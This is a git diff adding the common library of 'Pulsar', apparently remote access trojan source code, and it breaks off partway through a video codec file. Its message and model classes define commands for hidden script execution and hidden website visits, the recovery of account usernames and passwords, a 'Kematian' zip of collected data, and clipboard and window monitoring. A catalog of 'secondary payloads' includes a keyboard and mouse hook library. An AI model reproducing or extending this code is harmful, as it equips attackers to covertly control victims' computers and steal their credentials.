b/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoEnableUAC : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/SetStatus.cs b/Pulsar.Common/Messages/SetStatus.cs new file mode 100644 index 0000000..2a25675 --- /dev/null +++ b/Pulsar.Common/Messages/SetStatus.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetStatus : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs b/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs new file mode 100644 index 0000000..fe2ce33 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserActiveWindowStatus : IMessage + { + [Key(1)] + public string WindowTitle { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/SetUserClipboardStatus.cs b/Pulsar.Common/Messages/SetUserClipboardStatus.cs new file mode 100644 index 0000000..742c060 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserClipboardStatus.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserClipboardStatus : IMessage + { + [Key(1)] + public string ClipboardText { get; set; } + } +} diff --git a/Pulsar.Common/Messages/SetUserStatus.cs b/Pulsar.Common/Messages/SetUserStatus.cs new file mode 100644 index 0000000..19f0b58 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,13 @@ +using MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserStatus : IMessage + { + [Key(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/TypeRegistry.cs b/Pulsar.Common/Messages/TypeRegistry.cs new file mode 100644 index 0000000..95f2d0e --- /dev/null +++ b/Pulsar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,44 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Common.Messages +{ + /// + /// Legacy TypeRegistry - no longer needed with MessagePack serialization. + /// Kept for compatibility during migration. + /// + public static class TypeRegistry + { + /// + /// Legacy method - no longer needed with MessagePack. + /// + /// The parent type + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + // No-op: MessagePack handles polymorphism through custom resolvers + } + + /// + /// Legacy method - no longer needed with MessagePack. + /// + /// The parent type + /// Types to add + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + // No-op: MessagePack handles polymorphism through custom resolvers + } + + /// + /// Gets all types that implement the specified interface. + /// Still used by legacy code during migration. + /// + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs b/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs new file mode 100644 index 0000000..0c3d6eb --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.MessageBox +{ + [MessagePackObject] + public class DoShowMessageBox : IMessage + { + [Key(1)] + public string Caption { get; set; } + + [Key(2)] + public string Text { get; set; } + + [Key(3)] + public string Button { get; set; } + + [Key(4)] + public string Icon { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs new file mode 100644 index 0000000..8bd8efc --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs @@ -0,0 +1,14 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoChat : IMessage + { + [Key(1)] + public string PacketDms { get; set; } + [Key(2)] + public string User { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs new file mode 100644 index 0000000..a2a5709 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs @@ -0,0 +1,11 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoChatAction : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs new file mode 100644 index 0000000..ceba14e --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoKillChatForm : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs new file mode 100644 index 0000000..2b9dd9f --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs @@ -0,0 +1,21 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoStartChatForm : IMessage + { + [Key(1)] + public string Title { get; set; } + + [Key(2)] + public string WelcomeMessage { get; set; } + [Key(3)] + public bool TopMost { get; set; } + [Key(4)] + public bool DisableClose { get; set; } + [Key(5)] + public bool DisableType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs new file mode 100644 index 0000000..7d72837 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class GetChat : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs b/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs new file mode 100644 index 0000000..734959a --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs @@ -0,0 +1,17 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.MessageBox +{ + [MessagePackObject] + public class DoExecScript : IMessage + { + [Key(1)] + public string Language { get; set; } + + [Key(2)] + public string Script { get; set; } + [Key(3)] + public bool Hidden { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs b/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs new file mode 100644 index 0000000..ad56c08 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs @@ -0,0 +1,15 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.Website +{ + [MessagePackObject] + public class DoVisitWebsite : IMessage + { + [Key(1)] + public string Url { get; set; } + + [Key(2)] + public bool Hidden { get; set; } + } +} diff --git a/Pulsar.Common/Models/Drive.cs b/Pulsar.Common/Models/Drive.cs new file mode 100644 index 0000000..972a5cd --- /dev/null +++ b/Pulsar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class Drive + { + [Key(1)] + public string DisplayName { get; set; } + + [Key(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Pulsar.Common/Models/FileChunk.cs b/Pulsar.Common/Models/FileChunk.cs new file mode 100644 index 0000000..7d4f64c --- /dev/null +++ b/Pulsar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class FileChunk + { + [Key(1)] + public long Offset { get; set; } + + [Key(2)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Models/FileSystemEntry.cs b/Pulsar.Common/Models/FileSystemEntry.cs new file mode 100644 index 0000000..057427e --- /dev/null +++ b/Pulsar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using MessagePack; +using Pulsar.Common.Enums; +using System; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class FileSystemEntry + { + [Key(1)] + public FileType EntryType { get; set; } + + [Key(2)] + public string Name { get; set; } + + [Key(3)] + public long Size { get; set; } + + [Key(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [Key(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Pulsar.Common/Models/Kematian.cs b/Pulsar.Common/Models/Kematian.cs new file mode 100644 index 0000000..de08f12 --- /dev/null +++ b/Pulsar.Common/Models/Kematian.cs @@ -0,0 +1,9 @@ +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Models +{ + public class KematianZipMessage : IMessage + { + public byte[] ZipFile { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Models/Process.cs b/Pulsar.Common/Models/Process.cs new file mode 100644 index 0000000..41ab3ae --- /dev/null +++ b/Pulsar.Common/Models/Process.cs @@ -0,0 +1,20 @@ +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class Process + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public int Id { get; set; } + + [Key(3)] + public string MainWindowTitle { get; set; } + + [Key(4)] + public int? ParentId { get; set; } + } +} diff --git a/Pulsar.Common/Models/Query/Browsers.cs b/Pulsar.Common/Models/Query/Browsers.cs new file mode 100644 index 0000000..b971f22 --- /dev/null +++ b/Pulsar.Common/Models/Query/Browsers.cs @@ -0,0 +1,14 @@ +using MessagePack; + +namespace Pulsar.Common.Models.Query.Browsers +{ + [MessagePackObject] + public class QueryBrowsers + { + [Key(1)] + public string Location { get; set; } + + [Key(2)] + public string Browser { get; set; } + } +} diff --git a/Pulsar.Common/Models/RecoveredAccount.cs b/Pulsar.Common/Models/RecoveredAccount.cs new file mode 100644 index 0000000..8d949cd --- /dev/null +++ b/Pulsar.Common/Models/RecoveredAccount.cs @@ -0,0 +1,20 @@ +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RecoveredAccount + { + [Key(1)] + public string Username { get; set; } + + [Key(2)] + public string Password { get; set; } + + [Key(3)] + public string Url { get; set; } + + [Key(4)] + public string Application { get; set; } + } +} diff --git a/Pulsar.Common/Models/RegSeekerMatch.cs b/Pulsar.Common/Models/RegSeekerMatch.cs new file mode 100644 index 0000000..de952f3 --- /dev/null +++ b/Pulsar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RegSeekerMatch + { + [Key(1)] + public string Key { get; set; } + + [Key(2)] + public RegValueData[] Data { get; set; } + + [Key(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Pulsar.Common/Models/RegValueData.cs b/Pulsar.Common/Models/RegValueData.cs new file mode 100644 index 0000000..a944e87 --- /dev/null +++ b/Pulsar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +using Microsoft.Win32; +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RegValueData + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public RegistryValueKind Kind { get; set; } + + [Key(3)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Models/StartupItem.cs b/Pulsar.Common/Models/StartupItem.cs new file mode 100644 index 0000000..100b281 --- /dev/null +++ b/Pulsar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Enums; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class StartupItem + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public string Path { get; set; } + + [Key(3)] + public StartupType Type { get; set; } + } +} diff --git a/Pulsar.Common/Models/TcpConnection.cs b/Pulsar.Common/Models/TcpConnection.cs new file mode 100644 index 0000000..ad44b4d --- /dev/null +++ b/Pulsar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using MessagePack; +using Pulsar.Common.Enums; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class TcpConnection + { + [Key(1)] + public string ProcessName { get; set; } + + [Key(2)] + public string LocalAddress { get; set; } + + [Key(3)] + public ushort LocalPort { get; set; } + + [Key(4)] + public string RemoteAddress { get; set; } + + [Key(5)] + public ushort RemotePort { get; set; } + + [Key(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Pulsar.Common/NativeMethods.cs b/Pulsar.Common/NativeMethods.cs new file mode 100644 index 0000000..75e6c67 --- /dev/null +++ b/Pulsar.Common/NativeMethods.cs @@ -0,0 +1,25 @@ +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Pulsar.Common/Networking/.DS_Store b/Pulsar.Common/Networking/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Common/Networking/.DS_Store differ diff --git a/Pulsar.Common/Networking/ISender.cs b/Pulsar.Common/Networking/ISender.cs new file mode 100644 index 0000000..9665b5e --- /dev/null +++ b/Pulsar.Common/Networking/ISender.cs @@ -0,0 +1,10 @@ +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Networking +{ + public interface ISender + { + void Send(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs b/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs new file mode 100644 index 0000000..6c0b344 --- /dev/null +++ b/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs @@ -0,0 +1,75 @@ +using Pulsar.Common.Cryptography; +using Pulsar.Common.Messages.Other; +using System; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Pulsar.Common.Networking +{ + public static class SecureMessageEnvelopeHelper + { + public static bool CanUse(X509Certificate2 certificate) + { + return certificate != null && certificate.RawData != null && certificate.RawData.Length > 0; + } + + public static SecureMessageEnvelope Wrap(IMessage message, X509Certificate2 certificate) + { + if (message == null) + throw new ArgumentNullException(nameof(message)); + + if (message is SecureMessageEnvelope) + throw new InvalidOperationException("Message is already wrapped in a secure envelope."); + + if (!CanUse(certificate)) + throw new ArgumentException("A valid certificate is required to wrap the message.", nameof(certificate)); + + var serialized = PulsarMessagePackSerializer.Serialize(message); + var keyMaterial = DeriveKeyMaterial(certificate); + + var cipher = new Aes256(keyMaterial); + var payload = cipher.Encrypt(serialized); + + return new SecureMessageEnvelope + { + Payload = payload + }; + } + + public static IMessage Unwrap(SecureMessageEnvelope envelope, X509Certificate2 certificate) + { + if (envelope == null) + throw new ArgumentNullException(nameof(envelope)); + + if (envelope.Payload == null || envelope.Payload.Length == 0) + throw new ArgumentException("Envelope payload is empty.", nameof(envelope)); + + if (!CanUse(certificate)) + throw new ArgumentException("A valid certificate is required to unwrap the message.", nameof(certificate)); + + var keyMaterial = DeriveKeyMaterial(certificate); + + var cipher = new Aes256(keyMaterial); + var decrypted = cipher.Decrypt(envelope.Payload); + try + { + return PulsarMessagePackSerializer.Deserialize(decrypted); + } + catch (Exception ex) + { + throw new InvalidOperationException($"Failed to deserialize secure payload (length={decrypted?.Length ?? 0}).", ex); + } + } + + private static string DeriveKeyMaterial(X509Certificate2 certificate) + { + var thumbprint = certificate.Thumbprint?.Replace(" ", string.Empty)?.ToUpperInvariant(); + if (string.IsNullOrEmpty(thumbprint)) + throw new InvalidOperationException("Certificate thumbprint is unavailable for secure envelope key derivation."); + + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(thumbprint)); + return Convert.ToBase64String(hash); + } + + } +} diff --git a/Pulsar.Common/Plugins/IUniversalPlugin.cs b/Pulsar.Common/Plugins/IUniversalPlugin.cs new file mode 100644 index 0000000..2bd6f49 --- /dev/null +++ b/Pulsar.Common/Plugins/IUniversalPlugin.cs @@ -0,0 +1,30 @@ +using System; + +namespace Pulsar.Common.Plugins +{ + public interface IUniversalPlugin + { + string PluginId { get; } + string Version { get; } + string[] SupportedCommands { get; } + + void Initialize(Object initData); + PluginResult ExecuteCommand(string command, Object parameters); + void Cleanup(); + bool IsComplete { get; } + } + + public class PluginResult + { + public bool Success { get; set; } + public string Message { get; set; } + + // I haven't tested this too much but I would try and make sure + // that you only use primitive data types in this or well known data types + // Don't send back classes that can't be deserialized due to them not being in + // Pulsar.Server or Pulsar.Common. Otherwise you will get serialization issues. + public Object Data { get; set; } + public bool ShouldUnload { get; set; } + public string NextCommand { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs b/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs new file mode 100644 index 0000000..85d178b --- /dev/null +++ b/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs @@ -0,0 +1,90 @@ +using Pulsar.Common.Plugins; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +namespace Pulsar.Common.Plugins +{ + public static class UniversalPluginDispatcher + { + private static readonly ConcurrentDictionary LoadedPlugins = new ConcurrentDictionary(); + private static readonly ConcurrentDictionary PluginLoadTimes = new ConcurrentDictionary(); + + public static void RegisterPlugin(string pluginId, object plugin) + { + LoadedPlugins[pluginId] = plugin; + PluginLoadTimes[pluginId] = DateTime.UtcNow; + } + + public static object ExecuteCommand(string pluginId, string command, byte[] parameters) + { + if (!LoadedPlugins.TryGetValue(pluginId, out var plugin)) + { + return CreatePluginResult(false, "Plugin not found", false); + } + + try + { + var executeMethod = plugin.GetType().GetMethod("ExecuteCommand"); + var result = executeMethod.Invoke(plugin, new object[] { command, parameters }); + var isCompleteProperty = plugin.GetType().GetProperty("IsComplete"); + bool isComplete = isCompleteProperty != null ? (bool)isCompleteProperty.GetValue(plugin) : false; + var shouldUnloadProperty = result.GetType().GetProperty("ShouldUnload"); + bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false; + + if (shouldUnload || isComplete) + { + UnloadPlugin(pluginId); + } + + return result; + } + catch (Exception ex) + { + UnloadPlugin(pluginId); + return CreatePluginResult(false, ex.Message, false); + } + } + + private static object CreatePluginResult(bool success, string message, bool shouldUnload) + { + var pluginResultType = typeof(PluginResult); + var result = Activator.CreateInstance(pluginResultType); + var successProperty = pluginResultType.GetProperty("Success"); + var messageProperty = pluginResultType.GetProperty("Message"); + var shouldUnloadProperty = pluginResultType.GetProperty("ShouldUnload"); + + successProperty?.SetValue(result, success); + messageProperty?.SetValue(result, message); + shouldUnloadProperty?.SetValue(result, shouldUnload); + + return result; + } + + public static void UnloadPlugin(string pluginId) + { + if (LoadedPlugins.TryRemove(pluginId, out var plugin)) + { + try + { + var cleanupMethod = plugin.GetType().GetMethod("Cleanup"); + cleanupMethod?.Invoke(plugin, null); + } + catch { } + PluginLoadTimes.TryRemove(pluginId, out _); + } + } + + public static bool IsPluginLoaded(string pluginId) + { + return LoadedPlugins.ContainsKey(pluginId); + } + + public static string[] GetLoadedPluginIds() + { + return LoadedPlugins.Keys.ToArray(); + } + } +} diff --git a/Pulsar.Common/Properties/AssemblyInfo.cs b/Pulsar.Common/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..7afab00 --- /dev/null +++ b/Pulsar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Pulsar Common")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Pulsar")] +[assembly: AssemblyCopyright("Copyright © PulsarTeam 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Pulsar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.4.5")] +[assembly: AssemblyFileVersion("2.4.5")] diff --git a/Pulsar.Common/Pulsar.Common.csproj b/Pulsar.Common/Pulsar.Common.csproj new file mode 100644 index 0000000..ef7c2a2 --- /dev/null +++ b/Pulsar.Common/Pulsar.Common.csproj @@ -0,0 +1,70 @@ + + + net48;net9.0-windows + Library + false + Debug;Release;ReleaseWithDonut + AnyCPU;x64 + + + ..\bin\Debug\ + true + + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common/UAC/UAC.cs b/Pulsar.Common/UAC/UAC.cs new file mode 100644 index 0000000..f6afa3c --- /dev/null +++ b/Pulsar.Common/UAC/UAC.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Principal; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Common.UAC +{ + public class UAC + { + // https://stackoverflow.com/questions/11660184/c-sharp-check-if-run-as-administrator + public static bool IsAdministrator() + { + var identity = WindowsIdentity.GetCurrent(); + var principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + } +} diff --git a/Pulsar.Common/Utilities/ByteConverter.cs b/Pulsar.Common/Utilities/ByteConverter.cs new file mode 100644 index 0000000..88b1f71 --- /dev/null +++ b/Pulsar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Pulsar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach (string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs b/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs new file mode 100644 index 0000000..17ec64d --- /dev/null +++ b/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Linq; + +namespace Pulsar.Common.Utilities +{ + /// + /// Defines the set of assemblies that are considered secondary payloads and may be delivered on-demand. + /// + public static class DeferredAssemblyCatalog + { + private static readonly string[] _secondaryAssemblies = new[] + { + "AForge", + "AForge.Video", + "AForge.Video.DirectShow", + "Gma.System.MouseKeyHook", + "NAudio.Core", + "NAudio.Wasapi", + "NAudio.WinForms", + "NAudio.WinMM", + "SharpDX", + "SharpDX.Direct2D1", + "SharpDX.Direct3D11", + "SharpDX.DXGI", + "SharpDX.D3DCompiler", + "SharpDX.Mathematics" + }; + + private static readonly ReadOnlyCollection _secondaryAssembliesReadonly = + Array.AsReadOnly(_secondaryAssemblies); + + private static readonly HashSet _secondaryAssembliesSet = + new HashSet(_secondaryAssemblies, StringComparer.OrdinalIgnoreCase); + + /// + /// Gets the ordered list of assemblies that should be delivered after the initial connection. + /// + public static IReadOnlyList SecondaryAssemblies => _secondaryAssembliesReadonly; + + /// + /// Checks whether the provided assembly name is part of the deferred assembly list. + /// + /// The simple assembly name. + public static bool IsDeferredAssembly(string assemblyName) + { + if (string.IsNullOrWhiteSpace(assemblyName)) + { + return false; + } + + return _secondaryAssembliesSet.Contains(assemblyName); + } + } +} diff --git a/Pulsar.Common/Utilities/SafeRandom.cs b/Pulsar.Common/Utilities/SafeRandom.cs new file mode 100644 index 0000000..2162d54 --- /dev/null +++ b/Pulsar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Pulsar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Pulsar.Common/Video/.DS_Store b/Pulsar.Common/Video/.DS_Store new file mode 100644 index 0000000..19ea7b5 Binary files /dev/null and b/Pulsar.Common/Video/.DS_Store differ diff --git a/Pulsar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Pulsar.Common/Video/Codecs/UnsafeStreamCodec.cs new file mode 100644 index 0000000..e933a98 --- /dev/null +++ b/Pulsar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -0,0 +1,451 @@ +using Pulsar.Common.Video.Compression; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.CompilerServices; + +namespace Pulsar.Common.Video.Codecs +{ + public class UnsafeStreamCodec : IDisposable + { + public int Monitor { get; private set; } + public Resolution Resolution { get; private set; } + public Size CheckBlock { get; private set; } + + public int ImageQuality + { + get { return _imageQuality; } + private set + { + if (_imageQuality == value) return; + + lock (_imageProcessLock) + { + _imageQuality = value; + if (_jpgCompression != null) + { + 